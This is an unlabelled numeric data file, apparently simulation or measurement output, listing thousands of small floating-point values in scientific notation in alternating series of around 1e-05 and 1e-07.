8.71588e-06
1.39315e-07
8.71805e-06
1.43635e-07
8.7204e-06
1.4668e-07
8.72275e-06
1.50461e-07
8.72465e-06
1.53009e-07
8.72551e-06
1.41093e-07
8.72579e-06
1.42231e-07
8.72415e-06
1.29125e-07
8.72145e-06
1.29627e-07
8.71831e-06
1.20719e-07
8.71573e-06
1.32359e-07
8.71428e-06
1.38254e-07
8.71515e-06
1.53753e-07
8.71736e-06
1.60744e-07
8.71844e-06
1.55436e-07
8.72018e-06
1.57437e-07
8.71947e-06
1.38088e-07
8.71834e-06
1.3091e-07
8.71671e-06
1.22245e-07
8.71451e-06
1.075e-07
8.71106e-06
1.01785e-07
8.70736e-06
8.60792e-08
8.70494e-06
1.03793e-07
8.70189e-06
8.62574e-08
8.70067e-06
1.06284e-07
8.69886e-06
1.00972e-07
8.69688e-06
1.04179e-07
8.69726e-06
1.27647e-07
8.69607e-06
1.12663e-07
8.69635e-06
1.35142e-07
8.69834e-06
1.31887e-07
8.69686e-06
1.14095e-07
8.69492e-06
8.72552e-08
8.68993e-06
6.85909e-08
8.68081e-06
1.86795e-08
8.67205e-06
4.08165e-08
8.66839e-06
6.54306e-08
8.67263e-06
1.42231e-07
8.68115e-06
1.69321e-07
8.68505e-06
1.35973e-07
8.68686e-06
1.05764e-07
8.6817e-06
3.54508e-08
8.67844e-06
2.56487e-08
8.68148e-06
7.03924e-08
8.68358e-06
3.10185e-08
8.68897e-06
5.89453e-08
8.69446e-06
3.21761e-08
8.69788e-06
-6.14034e-09
8.69998e-06
-5.33854e-09
8.70091e-06
-2.78093e-08
8.70769e-06
5.39274e-08
8.71358e-06
7.46238e-08
8.7104e-06
1.34762e-08
8.71383e-06
1.59398e-07
8.72186e-06
2.1541e-07
8.72552e-06
2.0249e-07
8.72386e-06
1.76082e-07
8.71616e-06
1.01467e-07
8.70598e-06
1.3321e-07
8.70882e-06
2.35705e-07
8.71802e-06
3.55589e-07
8.71969e-06
1.78903e-07
8.71014e-06
6.84613e-08
8.70047e-06
-2.32096e-08
8.69135e-06
7.62051e-08
8.68454e-06
1.12138e-07
8.68346e-06
2.33148e-07
8.68344e-06
3.28094e-07
8.67732e-06
1.44766e-07
8.66739e-06
9.9043e-08
5.625e-08
9.03862e-06
5.31535e-08
9.0419e-06
6.22468e-08
9.04598e-06
5.86088e-08
9.05325e-06
5.90072e-08
9.05939e-06
6.05735e-08
9.0651e-06
5.34658e-08
9.07146e-06
5.57325e-08
9.07468e-06
5.83391e-08
9.07644e-06
4.99863e-08
9.07949e-06
4.79221e-08
9.08217e-06
5.07665e-08
9.08353e-06
5.00136e-08
9.08582e-06
5.3216e-08
9.08903e-06
6.33751e-08
9.09132e-06
6.54189e-08
9.09324e-06
6.54769e-08
9.09611e-06
7.07859e-08
9.09938e-06
8.04714e-08
9.10219e-06
8.84905e-08
9.10421e-06
9.31424e-08
9.10715e-06
1.00609e-07
9.11108e-06
1.06805e-07
9.11504e-06
1.15203e-07
9.11814e-06
1.21219e-07
9.12057e-06
1.22684e-07
9.12345e-06
1.24573e-07
9.12586e-06
1.28125e-07
9.1277e-06
1.30937e-07
9.12992e-06
1.37688e-07
9.13145e-06
1.37786e-07
9.13361e-06
1.41476e-07
9.13596e-06
1.4433e-07
9.13831e-06
1.48115e-07
9.14014e-06
1.51177e-07
9.14101e-06
1.40219e-07
9.14139e-06
1.41848e-07
9.13992e-06
1.30596e-07
9.13747e-06
1.32086e-07
9.13461e-06
1.23573e-07
9.13235e-06
1.34619e-07
9.13107e-06
1.39537e-07
9.13176e-06
1.53061e-07
9.13376e-06
1.5875e-07
9.13475e-06
1.54444e-07
9.13633e-06
1.55854e-07
9.13565e-06
1.38769e-07
9.13466e-06
1.31904e-07
9.13302e-06
1.23883e-07
9.13084e-06
1.09674e-07
9.12756e-06
1.05072e-07
9.12397e-06
8.96626e-08
9.12158e-06
1.0619e-07
9.11854e-06
8.92942e-08
9.11721e-06
1.07617e-07
9.11536e-06
1.02817e-07
9.11337e-06
1.0617e-07
9.11359e-06
1.27428e-07
9.11242e-06
1.13831e-07
9.11264e-06
1.34918e-07
9.11443e-06
1.30104e-07
9.11296e-06
1.15559e-07
9.111e-06
8.92177e-08
9.10603e-06
7.35666e-08
9.0973e-06
2.74082e-08
9.08897e-06
4.91412e-08
9.08546e-06
6.89431e-08
9.08937e-06
1.38319e-07
9.0974e-06
1.61292e-07
9.10113e-06
1.3224e-07
9.10303e-06
1.03872e-07
9.09831e-06
4.01655e-08
9.09537e-06
2.85893e-08
9.09828e-06
6.74861e-08
9.1003e-06
2.8996e-08
9.10557e-06
5.36727e-08
9.11083e-06
2.69178e-08
9.11415e-06
-9.46255e-09
9.11634e-06
-7.52091e-09
9.11739e-06
-2.88617e-08
9.12392e-06
4.74009e-08
9.1296e-06
6.89415e-08
9.12674e-06
1.63314e-08
9.13044e-06
1.55701e-07
9.13826e-06
2.0759e-07
9.14184e-06
1.98908e-07
9.14024e-06
1.77682e-07
9.13284e-06
1.08869e-07
9.12317e-06
1.42884e-07
9.12612e-06
2.32749e-07
9.1351e-06
3.46608e-07
9.13667e-06
1.7733e-07
9.12722e-06
7.7912e-08
9.11748e-06
-1.34631e-08
9.10842e-06
8.52624e-08
9.10141e-06
1.19149e-07
9.10021e-06
2.34345e-07
9.10015e-06
3.28153e-07
9.09412e-06
1.50794e-07
9.08449e-06
1.0868e-07
5.57854e-08
9.46539e-06
3.8811e-08
9.47565e-06
5.19887e-08
9.48033e-06
5.39259e-08
9.4865e-06
5.28396e-08
9.49193e-06
5.51416e-08
9.49732e-06
4.80775e-08
9.50432e-06
4.87334e-08
9.50809e-06
5.45662e-08
9.50968e-06
4.83926e-08
9.51265e-06
4.49553e-08
9.5158e-06
4.76204e-08
9.51804e-06
4.77721e-08
9.52024e-06
5.10184e-08
9.52279e-06
6.08233e-08
9.52542e-06
6.27819e-08
9.52789e-06
6.30111e-08
9.53053e-06
6.81498e-08
9.53355e-06
7.74514e-08
9.53677e-06
8.52691e-08
9.53932e-06
9.05926e-08
9.54203e-06
9.78982e-08
9.5456e-06
1.03233e-07
9.54986e-06
1.1094e-07
9.55316e-06
1.17922e-07
9.55534e-06
1.20511e-07
9.55815e-06
1.21754e-07
9.56089e-06
1.2539e-07
9.56285e-06
1.28976e-07
9.56506e-06
1.35481e-07
9.56675e-06
1.36095e-07
9.56894e-06
1.39283e-07
9.57128e-06
1.41995e-07
9.57364e-06
1.45754e-07
9.57542e-06
1.49398e-07
9.57628e-06
1.3936e-07
9.57677e-06
1.4135e-07
9.57554e-06
1.31831e-07
9.57334e-06
1.34279e-07
9.57077e-06
1.26151e-07
9.56882e-06
1.36561e-07
9.56773e-06
1.40636e-07
9.56828e-06
1.5251e-07
9.57005e-06
1.56976e-07
9.57094e-06
1.53554e-07
9.57239e-06
1.54408e-07
9.57175e-06
1.3941e-07
9.57087e-06
1.3278e-07
9.56924e-06
1.25515e-07
9.56709e-06
1.11819e-07
9.56397e-06
1.08197e-07
9.56052e-06
9.31144e-08
9.55813e-06
1.08574e-07
9.55509e-06
9.23355e-08
9.55366e-06
1.09048e-07
9.55181e-06
1.04672e-07
9.54986e-06
1.0812e-07
9.54996e-06
1.27324e-07
9.54884e-06
1.14955e-07
9.54898e-06
1.34775e-07
9.55048e-06
1.28604e-07
9.54896e-06
1.17077e-07
9.54694e-06
9.1236e-08
9.54203e-06
7.8475e-08
9.53377e-06
3.56701e-08
9.52595e-06
5.69595e-08
9.52262e-06
7.22814e-08
9.52616e-06
1.3477e-07
9.53367e-06
1.5379e-07
9.53722e-06
1.2869e-07
9.53919e-06
1.019e-07
9.53494e-06
4.44162e-08
9.53233e-06
3.1201e-08
9.53511e-06
6.47065e-08
9.53703e-06
2.70714e-08
9.54214e-06
4.85592e-08
9.54714e-06
2.1918e-08
9.55036e-06
-1.26806e-08
9.5526e-06
-9.76128e-09
9.55374e-06
-3e-08
9.56e-06
4.11386e-08
9.5655e-06
6.34473e-08
9.56297e-06
1.88551e-08
9.56691e-06
1.51762e-07
9.5745e-06
2.00003e-07
9.57802e-06
1.95385e-07
9.57653e-06
1.79173e-07
9.56949e-06
1.15914e-07
9.56037e-06
1.52001e-07
9.56343e-06
2.29689e-07
9.57217e-06
3.37869e-07
9.57363e-06
1.75871e-07
9.56431e-06
8.72322e-08
9.55448e-06
-3.63714e-09
9.54551e-06
9.42395e-08
9.53832e-06
1.26336e-07
9.53699e-06
2.35671e-07
9.53692e-06
3.2823e-07
9.53099e-06
1.56717e-07
9.52169e-06
1.17989e-07
5.53424e-08
9.92333e-06
3.18012e-08
9.93002e-06
4.52977e-08
9.93401e-06
4.99438e-08
9.94016e-06
4.66877e-08
9.94652e-06
4.87771e-08
9.95098e-06
4.36183e-08
9.95794e-06
4.17768e-08
9.96251e-06
4.99975e-08
9.96381e-06
4.70924e-08
9.96656e-06
4.21983e-08
9.97005e-06
4.41314e-08
9.973e-06
4.48237e-08
9.97585e-06
4.81712e-08
9.97787e-06
5.88063e-08
9.98011e-06
6.05364e-08
9.98315e-06
5.99756e-08
9.98595e-06
6.53429e-08
9.98853e-06
7.48761e-08
9.99175e-06
8.20522e-08
9.99488e-06
8.74603e-08
9.99772e-06
9.50548e-08
1.00008e-05
1.00198e-07
1.0005e-05
1.06686e-07
1.00088e-05
1.14171e-07
1.00109e-05
1.18407e-07
1.00134e-05
1.19206e-07
1.00165e-05
1.22323e-07
1.00187e-05
1.26718e-07
1.00209e-05
1.33332e-07
1.00227e-05
1.34315e-07
1.0025e-05
1.36988e-07
1.00273e-05
1.3966e-07
1.00296e-05
1.43402e-07
1.00314e-05
1.47632e-07
1.00323e-05
1.38512e-07
1.00328e-05
1.40767e-07
1.00318e-05
1.32846e-07
1.00299e-05
1.36202e-07
1.00276e-05
1.28437e-07
1.0026e-05
1.38194e-07
1.00251e-05
1.41551e-07
1.00255e-05
1.52058e-07
1.00271e-05
1.55376e-07
1.00279e-05
1.52743e-07
1.00293e-05
1.53074e-07
1.00287e-05
1.40011e-07
1.00279e-05
1.3355e-07
1.00263e-05
1.27128e-07
1.00242e-05
1.13941e-07
1.00212e-05
1.11186e-07
1.00179e-05
9.64313e-08
1.00155e-05
1.10922e-07
1.00125e-05
9.53451e-08
1.0011e-05
1.1053e-07
1.00092e-05
1.06515e-07
1.00073e-05
1.10043e-07
1.00072e-05
1.27372e-07
1.00061e-05
1.16067e-07
1.00061e-05
1.34718e-07
1.00074e-05
1.27355e-07
1.00059e-05
1.18599e-07
1.00038e-05
9.32628e-08
9.99904e-06
8.32849e-08
9.99123e-06
4.3479e-08
9.98389e-06
6.42979e-08
9.98073e-06
7.54438e-08
9.98394e-06
1.31562e-07
9.99094e-06
1.46788e-07
9.99432e-06
1.25312e-07
9.99636e-06
9.98625e-08
9.99254e-06
4.82279e-08
9.99024e-06
3.35089e-08
9.99287e-06
6.20696e-08
9.9947e-06
2.52492e-08
9.99964e-06
4.36191e-08
1.00044e-05
1.71838e-08
1.00075e-05
-1.57795e-08
1.00097e-05
-1.20177e-08
1.00109e-05
-3.11819e-08
1.00169e-05
3.5158e-08
1.00222e-05
5.81343e-08
1.002e-05
2.10447e-08
1.00242e-05
1.47601e-07
1.00315e-05
1.92657e-07
1.0035e-05
1.91896e-07
1.00337e-05
1.80518e-07
1.0027e-05
1.22545e-07
1.00185e-05
1.605e-07
1.00217e-05
2.26538e-07
1.00302e-05
3.29389e-07
1.00315e-05
1.74544e-07
1.00223e-05
9.63851e-08
1.00124e-05
6.26357e-09
1.00036e-05
1.03116e-07
9.99623e-06
1.33661e-07
9.99477e-06
2.37131e-07
9.9947e-06
3.28305e-07
9.98889e-06
1.62525e-07
9.97995e-06
1.2693e-07
5.49204e-08
1.03966e-05
2.27984e-08
1.04063e-05
3.5586e-08
1.04109e-05
4.53638e-08
1.04153e-05
4.22024e-08
1.0422e-05
4.21353e-08
1.04265e-05
3.91484e-08
1.0433e-05
3.52454e-08
1.04388e-05
4.41895e-08
1.04402e-05
4.56663e-08
1.04424e-05
3.99812e-08
1.0446e-05
4.05572e-08
1.04491e-05
4.17247e-08
1.04529e-05
4.44226e-08
1.04551e-05
5.65921e-08
1.04565e-05
5.915e-08
1.04597e-05
5.67062e-08
1.04633e-05
6.1815e-08
1.04656e-05
7.24989e-08
1.04684e-05
7.92935e-08
1.04718e-05
8.40252e-08
1.04752e-05
9.16823e-08
1.04779e-05
9.74814e-08
1.04817e-05
1.02883e-07
1.04859e-05
1.0996e-07
1.04883e-05
1.16017e-07
1.04904e-05
1.17104e-07
1.04936e-05
1.19171e-07
1.04963e-05
1.2402e-07
1.04984e-05
1.31178e-07
1.05002e-05
1.32552e-07
1.05026e-05
1.34556e-07
1.0505e-05
1.37258e-07
1.05073e-05
1.41089e-07
1.05091e-05
1.45879e-07
1.051e-05
1.37645e-07
1.05106e-05
1.40092e-07
1.05099e-05
1.33603e-07
1.05082e-05
1.37836e-07
1.05062e-05
1.30461e-07
1.05049e-05
1.3955e-07
1.05041e-05
1.42274e-07
1.05045e-05
1.51667e-07
1.0506e-05
1.53932e-07
1.05067e-05
1.52007e-07
1.05079e-05
1.51839e-07
1.05074e-05
1.40556e-07
1.05067e-05
1.34226e-07
1.05051e-05
1.28708e-07
1.05031e-05
1.16024e-07
1.05002e-05
1.14021e-07
1.04971e-05
9.95976e-08
1.04948e-05
1.13226e-07
1.04918e-05
9.833e-08
1.04902e-05
1.12075e-07
1.04884e-05
1.0835e-07
1.04865e-05
1.11925e-07
1.04863e-05
1.27549e-07
1.04853e-05
1.17148e-07
1.04852e-05
1.3473e-07
1.04862e-05
1.2636e-07
1.04847e-05
1.20144e-07
1.04826e-05
9.53083e-08
1.0478e-05
8.79706e-08
1.04706e-05
5.08204e-08
1.04638e-05
7.11437e-08
1.04608e-05
7.84168e-08
1.04637e-05
1.28678e-07
1.04702e-05
1.4028e-07
1.04734e-05
1.22108e-07
1.04755e-05
9.77699e-08
1.04721e-05
5.15959e-08
1.04701e-05
3.5516e-08
1.04726e-05
5.95774e-08
1.04743e-05
2.35406e-08
1.0479e-05
3.88805e-08
1.04835e-05
1.27356e-08
1.04865e-05
-1.87417e-08
1.04887e-05
-1.42583e-08
1.04899e-05
-3.23708e-08
1.04956e-05
2.9483e-08
1.05007e-05
5.301e-08
1.04988e-05
2.29064e-08
1.05032e-05
1.43235e-07
1.05103e-05
1.85546e-07
1.05138e-05
1.88412e-07
1.05126e-05
1.81685e-07
1.05064e-05
1.28718e-07
1.04986e-05
1.68326e-07
1.05019e-05
2.23304e-07
1.05101e-05
3.21182e-07
1.05112e-05
1.73373e-07
1.05023e-05
1.05337e-07
1.04923e-05
1.62272e-08
1.04836e-05
1.11871e-07
1.04761e-05
1.41083e-07
1.04745e-05
2.3873e-07
1.04745e-05
3.28351e-07
1.04688e-05
1.68208e-07
1.04603e-05
1.35473e-07
5.45178e-08
1.08938e-05
1.54723e-08
1.09039e-05
2.5451e-08
1.09108e-05
3.84927e-08
1.09144e-05
3.85356e-08
1.09207e-05
3.59171e-08
1.09254e-05
3.44549e-08
1.09307e-05
2.98987e-08
1.09375e-05
3.74377e-08
1.09397e-05
4.34269e-08
1.09412e-05
3.84987e-08
1.09448e-05
3.68982e-08
1.0948e-05
3.86066e-08
1.09523e-05
4.00634e-08
1.09556e-05
5.33178e-08
1.09561e-05
5.85922e-08
1.09588e-05
5.40756e-08
1.09632e-05
5.73855e-08
1.09659e-05
6.98127e-08
1.0968e-05
7.71857e-08
1.09712e-05
8.08233e-08
1.09752e-05
8.76755e-08
1.09781e-05
9.4553e-08
1.09812e-05
9.98024e-08
1.09855e-05
1.05684e-07
1.09886e-05
1.12919e-07
1.09904e-05
1.15291e-07
1.09933e-05
1.16277e-07
1.09965e-05
1.20819e-07
1.09988e-05
1.28837e-07
1.10004e-05
1.30963e-07
1.10029e-05
1.32089e-07
1.10055e-05
1.34684e-07
1.10078e-05
1.38797e-07
1.10095e-05
1.44176e-07
1.10104e-05
1.36711e-07
1.10112e-05
1.3931e-07
1.10106e-05
1.3415e-07
1.10093e-05
1.39175e-07
1.10076e-05
1.32171e-07
1.10065e-05
1.4062e-07
1.1006e-05
1.42816e-07
1.10063e-05
1.51313e-07
1.10077e-05
1.52605e-07
1.10083e-05
1.51329e-07
1.10094e-05
1.50721e-07
1.1009e-05
1.41053e-07
1.10084e-05
1.34801e-07
1.10069e-05
1.30232e-07
1.10048e-05
1.18061e-07
1.10021e-05
1.16724e-07
1.09991e-05
1.02612e-07
1.09969e-05
1.1546e-07
1.09939e-05
1.01266e-07
1.09924e-05
1.13653e-07
1.09905e-05
1.10159e-07
1.09887e-05
1.13759e-07
1.09884e-05
1.27865e-07
1.09873e-05
1.18231e-07
1.09872e-05
1.34825e-07
1.0988e-05
1.25611e-07
1.09864e-05
1.21694e-07
1.09844e-05
9.73388e-08
1.09799e-05
9.24889e-08
1.0973e-05
5.76761e-08
1.09667e-05
7.74966e-08
1.09639e-05
8.1204e-08
1.09664e-05
1.26104e-07
1.09725e-05
1.34251e-07
1.09755e-05
1.19072e-07
1.09776e-05
9.56355e-08
1.09747e-05
5.45289e-08
1.0973e-05
3.72337e-08
1.09753e-05
5.72308e-08
1.09769e-05
2.19492e-08
1.09814e-05
3.4365e-08
1.09856e-05
8.59211e-09
1.09884e-05
-2.15446e-08
1.09906e-05
-1.64491e-08
1.09917e-05
-3.35365e-08
1.09971e-05
2.41319e-08
1.1002e-05
4.80868e-08
1.10005e-05
2.44586e-08
1.1005e-05
1.3869e-07
1.10119e-05
1.78668e-07
1.10154e-05
1.84909e-07
1.10144e-05
1.82636e-07
1.10088e-05
1.34394e-07
1.10017e-05
1.75433e-07
1.1005e-05
2.19996e-07
1.10129e-05
3.13252e-07
1.10139e-05
1.72379e-07
1.10052e-05
1.1406e-07
1.09952e-05
2.62396e-08
1.09865e-05
1.2049e-07
1.09791e-05
1.48552e-07
1.09773e-05
2.40473e-07
1.09773e-05
3.28331e-07
1.09718e-05
1.73748e-07
1.09637e-05
1.43589e-07
5.41322e-08
1.14166e-05
9.32217e-09
1.14249e-05
1.71386e-08
1.14341e-05
2.92558e-08
1.14384e-05
3.42767e-08
1.14432e-05
3.10862e-08
1.14481e-05
2.95322e-08
1.14525e-05
2.55911e-08
1.14597e-05
3.01846e-08
1.14636e-05
3.95829e-08
1.14644e-05
3.76349e-08
1.14677e-05
3.36328e-08
1.14707e-05
3.55869e-08
1.1475e-05
3.57611e-08
1.14797e-05
4.85893e-08
1.14803e-05
5.80119e-08
1.14815e-05
5.28687e-08
1.14865e-05
5.23836e-08
1.14903e-05
6.60667e-08
1.1492e-05
7.5478e-08
1.14944e-05
7.84259e-08
1.14986e-05
8.34286e-08
1.15023e-05
9.08721e-08
1.15049e-05
9.71647e-08
1.15086e-05
1.0199e-07
1.15125e-05
1.09054e-07
1.15145e-05
1.1331e-07
1.15168e-05
1.13967e-07
1.15203e-05
1.17349e-07
1.15231e-05
1.26013e-07
1.15246e-05
1.29496e-07
1.15269e-05
1.29746e-07
1.15297e-05
1.31877e-07
1.15321e-05
1.3641e-07
1.15337e-05
1.4258e-07
1.15346e-05
1.35756e-07
1.15356e-05
1.38354e-07
1.15353e-05
1.34451e-07
1.15342e-05
1.40252e-07
1.15328e-05
1.33597e-07
1.1532e-05
1.41425e-07
1.15316e-05
1.43177e-07
1.1532e-05
1.5097e-07
1.15332e-05
1.51374e-07
1.15339e-05
1.50674e-07
1.15349e-05
1.49694e-07
1.15344e-05
1.41499e-07
1.1534e-05
1.35277e-07
1.15325e-05
1.31691e-07
1.15305e-05
1.20041e-07
1.1528e-05
1.19285e-07
1.15251e-05
1.05465e-07
1.1523e-05
1.1761e-07
1.15201e-05
1.04153e-07
1.15185e-05
1.15266e-07
1.15167e-05
1.11949e-07
1.15149e-05
1.15539e-07
1.15145e-05
1.28291e-07
1.15134e-05
1.19296e-07
1.15132e-05
1.34978e-07
1.15138e-05
1.2509e-07
1.15122e-05
1.23264e-07
1.15102e-05
9.93596e-08
1.15058e-05
9.68272e-08
1.14995e-05
6.4044e-08
1.14936e-05
8.33452e-08
1.1491e-05
8.37911e-08
1.14933e-05
1.2382e-07
1.14989e-05
1.2869e-07
1.15017e-05
1.16199e-07
1.15039e-05
9.34682e-08
1.15014e-05
5.70305e-08
1.15e-05
3.86688e-08
1.15022e-05
5.50272e-08
1.15037e-05
2.04783e-08
1.15079e-05
3.00939e-08
1.15117e-05
4.77432e-09
1.15144e-05
-2.41668e-08
1.15165e-05
-1.85586e-08
1.15176e-05
-3.46406e-08
1.15226e-05
1.91329e-08
1.15273e-05
4.3378e-08
1.1526e-05
2.57176e-08
1.15307e-05
1.33997e-07
1.15374e-05
1.72022e-07
1.15409e-05
1.81367e-07
1.15402e-05
1.83334e-07
1.15351e-05
1.39536e-07
1.15287e-05
1.81782e-07
1.15321e-05
2.16624e-07
1.15397e-05
3.05598e-07
1.15405e-05
1.71579e-07
1.15321e-05
1.22525e-07
1.1522e-05
3.62779e-08
1.15136e-05
1.28958e-07
1.15061e-05
1.56015e-07
1.15042e-05
2.42361e-07
1.15043e-05
3.28211e-07
1.1499e-05
1.79121e-07
1.14913e-05
1.51253e-07
5.37594e-08
1.19654e-05
3.09926e-09
1.19723e-05
1.01902e-08
1.19818e-05
1.97753e-08
1.19875e-05
2.8569e-08
1.19913e-05
2.72808e-08
1.19962e-05
2.46941e-08
1.2e-05
2.17353e-08
1.20067e-05
2.35695e-08
1.20121e-05
3.41136e-08
1.20131e-05
3.6675e-08
1.20156e-05
3.11039e-08
1.20188e-05
3.24065e-08
1.20226e-05
3.19795e-08
1.20284e-05
4.27586e-08
1.20302e-05
5.62204e-08
1.20297e-05
5.33296e-08
1.20342e-05
4.79301e-08
1.20394e-05
6.08481e-08
1.20414e-05
7.34703e-08
1.20429e-05
7.69528e-08
1.20467e-05
7.96487e-08
1.20512e-05
8.63722e-08
1.20541e-05
9.42421e-08
1.20568e-05
9.92742e-08
1.20609e-05
1.0493e-07
1.20637e-05
1.1054e-07
1.20655e-05
1.12153e-07
1.20688e-05
1.14056e-07
1.20723e-05
1.22529e-07
1.20738e-05
1.27981e-07
1.20758e-05
1.27759e-07
1.20788e-05
1.28913e-07
1.20814e-05
1.33776e-07
1.20829e-05
1.41064e-07
1.20838e-05
1.3484e-07
1.2085e-05
1.37199e-07
1.20849e-05
1.34485e-07
1.20841e-05
1.41114e-07
1.2083e-05
1.34719e-07
1.20825e-05
1.41917e-07
1.20823e-05
1.4337e-07
1.20826e-05
1.50635e-07
1.20838e-05
1.50218e-07
1.20844e-05
1.50005e-07
1.20854e-05
1.48753e-07
1.20849e-05
1.41927e-07
1.20846e-05
1.35647e-07
1.20832e-05
1.33043e-07
1.20813e-05
1.21944e-07
1.20789e-05
1.21714e-07
1.20762e-05
1.08168e-07
1.20741e-05
1.19661e-07
1.20713e-05
1.06972e-07
1.20697e-05
1.16885e-07
1.2068e-05
1.13698e-07
1.20662e-05
1.17259e-07
1.20657e-05
1.2882e-07
1.20646e-05
1.20378e-07
1.20644e-05
1.35213e-07
1.20647e-05
1.24785e-07
1.20631e-05
1.24831e-07
1.20612e-05
1.01335e-07
1.2057e-05
1.00942e-07
1.20512e-05
6.99224e-08
1.20458e-05
8.86981e-08
1.20434e-05
8.61842e-08
1.20454e-05
1.21808e-07
1.20505e-05
1.23567e-07
1.20533e-05
1.13472e-07
1.20555e-05
9.128e-08
1.20534e-05
5.9113e-08
1.20522e-05
3.98314e-08
1.20543e-05
5.29682e-08
1.20556e-05
1.91324e-08
1.20596e-05
2.60831e-08
1.20631e-05
1.2928e-09
1.20655e-05
-2.65838e-08
1.20675e-05
-2.05526e-08
1.20685e-05
-3.56502e-08
1.20732e-05
1.45087e-08
1.20776e-05
3.89006e-08
1.20766e-05
2.67105e-08
1.20815e-05
1.29191e-07
1.20879e-05
1.65607e-07
1.20915e-05
1.77771e-07
1.20911e-05
1.83745e-07
1.20865e-05
1.44117e-07
1.20809e-05
1.87348e-07
1.20843e-05
2.13199e-07
1.20917e-05
2.9821e-07
1.20923e-05
1.70982e-07
1.20841e-05
1.30707e-07
1.20741e-05
4.63128e-08
1.20658e-05
1.37265e-07
1.20584e-05
1.63417e-07
1.20564e-05
2.44393e-07
1.20566e-05
3.27952e-07
1.20514e-05
1.84299e-07
1.20442e-05
1.58447e-07
5.33933e-08
1.25413e-05
-3.1473e-09
1.25473e-05
4.21617e-09
1.25552e-05
1.18077e-08
1.25626e-05
2.11778e-08
1.25665e-05
2.34252e-08
1.25707e-05
2.0463e-08
1.25744e-05
1.80608e-08
1.25798e-05
1.81793e-08
1.25865e-05
2.73496e-08
1.25886e-05
3.4622e-08
1.25901e-05
2.95754e-08
1.25933e-05
2.92273e-08
1.25964e-05
2.88914e-08
1.26025e-05
3.66924e-08
1.26063e-05
5.23372e-08
1.26051e-05
5.45966e-08
1.26077e-05
4.52797e-08
1.26141e-05
5.44768e-08
1.26173e-05
7.0242e-08
1.26182e-05
7.60622e-08
1.26209e-05
7.69499e-08
1.26257e-05
8.1631e-08
1.26296e-05
9.02858e-08
1.26317e-05
9.71811e-08
1.26352e-05
1.01464e-07
1.26389e-05
1.06801e-07
1.26408e-05
1.10287e-07
1.26434e-05
1.11468e-07
1.26474e-05
1.18534e-07
1.26494e-05
1.25991e-07
1.26509e-05
1.26198e-07
1.26538e-05
1.25996e-07
1.26569e-05
1.30751e-07
1.26584e-05
1.39523e-07
1.26592e-05
1.34084e-07
1.26605e-05
1.35879e-07
1.26608e-05
1.34115e-07
1.26602e-05
1.41748e-07
1.26593e-05
1.35646e-07
1.26591e-05
1.42103e-07
1.26591e-05
1.43366e-07
1.26594e-05
1.50301e-07
1.26605e-05
1.49136e-07
1.26612e-05
1.49307e-07
1.26621e-05
1.47842e-07
1.26617e-05
1.42322e-07
1.26614e-05
1.35925e-07
1.26602e-05
1.34275e-07
1.26584e-05
1.23757e-07
1.26561e-05
1.24001e-07
1.26536e-05
1.10698e-07
1.26517e-05
1.21599e-07
1.26489e-05
1.09719e-07
1.26473e-05
1.18516e-07
1.26456e-05
1.15419e-07
1.26439e-05
1.18941e-07
1.26433e-05
1.29428e-07
1.26422e-05
1.21446e-07
1.26419e-05
1.35493e-07
1.2642e-05
1.24651e-07
1.26405e-05
1.26387e-07
1.26385e-05
1.03275e-07
1.26347e-05
1.04829e-07
1.26293e-05
7.53307e-08
1.26244e-05
9.35584e-08
1.26222e-05
8.83653e-08
1.2624e-05
1.20035e-07
1.26287e-05
1.1886e-07
1.26313e-05
1.1088e-07
1.26335e-05
8.90838e-08
1.26318e-05
6.07877e-08
1.26309e-05
4.07288e-08
1.26328e-05
5.10391e-08
1.26341e-05
1.79048e-08
1.26378e-05
2.23488e-08
1.26409e-05
-1.83385e-09
1.26431e-05
-2.87639e-08
1.2645e-05
-2.24031e-08
1.26458e-05
-3.6533e-08
1.26501e-05
1.02874e-08
1.26543e-05
3.46849e-08
1.26535e-05
2.74674e-08
1.26584e-05
1.24305e-07
1.26646e-05
1.59417e-07
1.26683e-05
1.74109e-07
1.26682e-05
1.83842e-07
1.26642e-05
1.48122e-07
1.26594e-05
1.92117e-07
1.26629e-05
2.09733e-07
1.267e-05
2.91075e-07
1.26704e-05
1.70592e-07
1.26625e-05
1.38583e-07
1.26525e-05
5.63056e-08
1.26444e-05
1.45401e-07
1.26371e-05
1.70701e-07
1.26349e-05
2.46566e-07
1.26354e-05
3.27515e-07
1.26304e-05
1.89249e-07
1.26237e-05
1.65151e-07
5.30264e-08
1.31446e-05
-8.50862e-09
1.31505e-05
-1.64292e-09
1.31569e-05
5.3629e-09
1.31648e-05
1.33499e-08
1.31695e-05
1.86814e-08
1.31731e-05
1.68918e-08
1.31767e-05
1.44416e-08
1.31809e-05
1.39479e-08
1.31879e-05
2.03464e-08
1.31917e-05
3.08951e-08
1.31926e-05
2.86033e-08
1.31955e-05
2.63935e-08
1.31982e-05
2.6149e-08
1.32036e-05
3.12976e-08
1.32094e-05
4.65181e-08
1.32089e-05
5.51289e-08
1.32091e-05
4.50465e-08
1.32154e-05
4.81871e-08
1.32204e-05
6.52095e-08
1.32215e-05
7.49806e-08
1.32231e-05
7.54005e-08
1.32271e-05
7.75621e-08
1.32322e-05
8.52207e-08
1.32347e-05
9.46957e-08
1.32369e-05
9.92656e-08
1.3241e-05
1.02704e-07
1.32438e-05
1.07497e-07
1.32456e-05
1.09597e-07
1.32496e-05
1.14585e-07
1.32524e-05
1.23198e-07
1.32537e-05
1.24925e-07
1.32562e-05
1.23448e-07
1.32596e-05
1.2733e-07
1.32614e-05
1.37753e-07
1.3262e-05
1.33491e-07
1.32634e-05
1.34511e-07
1.32641e-05
1.33345e-07
1.32638e-05
1.42103e-07
1.3263e-05
1.36422e-07
1.32631e-05
1.41966e-07
1.32634e-05
1.43108e-07
1.32637e-05
1.49975e-07
1.32647e-05
1.48127e-07
1.32655e-05
1.48567e-07
1.32664e-05
1.46936e-07
1.3266e-05
1.42689e-07
1.32658e-05
1.36132e-07
1.32647e-05
1.35347e-07
1.3263e-05
1.25452e-07
1.32609e-05
1.26146e-07
1.32585e-05
1.1307e-07
1.32567e-05
1.23408e-07
1.3254e-05
1.12386e-07
1.32524e-05
1.20144e-07
1.32508e-05
1.17074e-07
1.32491e-05
1.20574e-07
1.32485e-05
1.30098e-07
1.32474e-05
1.22509e-07
1.3247e-05
1.35839e-07
1.3247e-05
1.24687e-07
1.32455e-05
1.27917e-07
1.32436e-05
1.05155e-07
1.324e-05
1.08451e-07
1.3235e-05
8.02699e-08
1.32307e-05
9.79399e-08
1.32287e-05
9.03375e-08
1.32302e-05
1.18478e-07
1.32346e-05
1.14539e-07
1.3237e-05
1.08401e-07
1.32392e-05
8.68861e-08
